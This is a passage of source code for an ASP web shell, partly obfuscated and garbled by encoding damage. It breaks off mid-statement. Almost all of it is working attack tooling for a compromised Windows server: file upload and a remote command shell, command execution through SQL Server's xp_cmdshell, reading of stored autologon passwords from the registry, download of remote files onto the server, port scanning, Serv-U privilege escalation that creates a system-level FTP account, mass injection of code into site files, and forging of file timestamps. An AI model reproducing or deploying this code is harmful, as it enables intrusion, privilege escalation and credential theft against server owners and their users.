bgctd>&nbFFFFFr='#FgcoloCPU'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><ϵͳ<'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo汾'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    ϴȫ·ѡһļϴ!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    ļ"&UName&"ϴɹ
    " +RRS ""©url&"" +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"ϴ·" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI: +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '> " +end if +else +si="


     

    "&mmshell&"
    " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`Ӵ: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r><&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr䣺~&S&~ִSI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;ҳ룺~ &RC&~¼~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nbһҳage-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>һҳ+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class: + +Function SinfoEn(ObjStr,ObjPos) +ObjStr=Replace(ObjStr,"~",""""):NewStr=Split(ObjStr,"`"):For i=0 To UBound(NewStr):SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf:Next:SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) +End Function + + + +Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class: + +Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function + + + +Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"ش ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path): +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 5 = 0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&"0
    "&F.Name&"
    " +SI=SI&"
    [Copy " +SI=SI&"Del" +SI=SI&" Move" +SI=SI&" Down]
    " +RRS SI:SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +If i mod 2 = 0 then SI=SI&"" +Next + RRS SI&"
    2"&L.Name&" [ " +SI=SI&"Edit " +SI=SI&"Del " +Si=Si&"Ȩ" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"" +end if +SI=SI&"Copy " +SI=SI&"Move ] - " + +SI=SI&clng(L.size/1024)&"K
    " +SI=SI&L.Type&" - " +SI=SI&L.DateLastModified&"
    " +Set FOLD=Nothing +End function: + + + + +Function DelFile(Path):ExeCute SinfoEn("he Th)at(PtsisExleFiF. CIfn`thPae ileFetel.DCF`r>teen/c<ɹɾ~ h&at&P ~ļr>


    teen


    ļɹ
  • ":SI=SI&BackUrl:RRS SI:RRS ""©url&"":Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="½ļ":End If:SI=SI&"":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          ":RRS SI: +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter>
    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c<ɹɾ&~thPa~&Ŀ¼r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c<ɹ½&~thPa~&Ŀ¼r>


    teen
      ¼
      0umberErr.N~ Or t = ~rmPorIf te `
      ܵ.ǷѾ Ȩ˿,õնRRS~~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & ϵͳʻ:Զ¼RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & ʻ:Զ¼RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "עֵȡ

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    ֱ

    " +RW=RW&"Զļ:
    " +RW=RW&"·: " +RW=RW&"ڸ " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "̵IJа:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)˿ɨbr>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>ɨRRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub: +:Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......ر
    "):Else:RRS(targetip & ":" & portNum & ".......
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    Ȩ,ִ
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U Ȩ ASP
    û:
    ڣ
    ϵͳ·
    *
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="<" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    վĿ¼- "&Server.MapPath("/")&"
    ") +RRS ("Ŀ¼- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"-" +if M="2" then RRS"-˵" +if M="3" then RRS"-滻" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    ļ· \վĿ¼.ΪĿ¼
    ظ ֹһҳжظĴ
    ųļ 벻뱻޸ĵļ磺1.asp|2.asp|3.asp
    ļͣ Ҫ޸ĵļ[չ]磺htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"Ҫҵ" +if M="2" then RRS"Ҫ" +if M="3" then RRS"Ҫ滻Ĵ룺" +RRS"
    滻Ϊ
    --ǽ--[ɹ ų ظ]
    " +if request("submit")="ʼִ" then +RRS"
    ִм¼
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"·?q:
    " +RRS"ļ:
    " +RRS"޸ʱ:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    ޸ļ  "&path&fileName&"  " +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    ܿtest.phpʾ,ʾ֧PHP

    0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"ϲ֧jsp":Response.write" ":Response.write "





    ܿtest.jspʾ,ʾ֧jsp

    ɾԵļ(ȫԲſɾ,!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"ϲ֧aspx":Response.write" ":Response.write "





    ܿTest.aspxʾ,ʾ֧asp.net

    Dz֧!ɼǵɾ":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"ɾ!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS" "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS""&Wpath&myfile.name +tfile1.close +else +RRS" "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS".":response.end +end select +else +RRS" "&Wpath&myfile.name +end if +RRS " Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub +FuncTion su7() +response.write"
    " +response.write"

    " +response.write"------------------Serv-U Information------------------" +response.write"
    " +response.write"user:" +response.write"
    " +response.write"pwd :" +response.write"
    " +response.write"port:" +response.write"
    " +response.write"---------------------Add User!!! ---------------------
    " +response.write"Domain:   " +response.write"
    " +response.write"FTP USER:" +response.write"
    " +response.write"FTP PASS:" +response.write"
    " +response.write"FTP PORT:" +response.write"
    " +response.write"FTP PATH:" +response.write"" +response.write"
    " +response.write"Privilege" +response.write"" +response.write"

    " +response.write"

    " +response.write"" +response.write"Add User " +response.write" " +response.write"Del User

    " +response.write"

    " +response.write"" +response.write"

    " +response.write"
    " +user = request.Form("duser") +pass = request.Form("dpwd") +port = request.Form("dport") +domain = request.Form("domain") +fuser = request.Form("fuser") +fpass = request.Form("fpass") +fport = request.Form("fport") +fpath = request.Form("fpath") +privilege=request.Form("privilege") +select case privilege + case 2: + privilege="ReadOnly" + case 3: + privilege="Group" + case 4: + privilege="Domain" + case 5: + privilege="System" + end select + if request.Form("radiobutton") = "add" Then + +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=" & domain &"|0.0.0.0|" & fport & "|-1|1|0" & vbCrLf & "-DynDNSEnable=0" & vbCrLf & " DynIPName=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & fport & vbCrLf & "-User="& fuser & vbCrLf & "-Password=" & fpass & vbCrLf & _ + "-HomeDir=" & fpath & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=" & privilege & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=" & fpath &"|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf + '-------- + 'On Error Resume Next + Set xPost = CreateObject("Microsoft.XMLHTTP") + xPost.Open "POST", "http://127.0.0.1:"& port &"/secdst",True, "", "" + xPost.Send loginuser & loginpass & 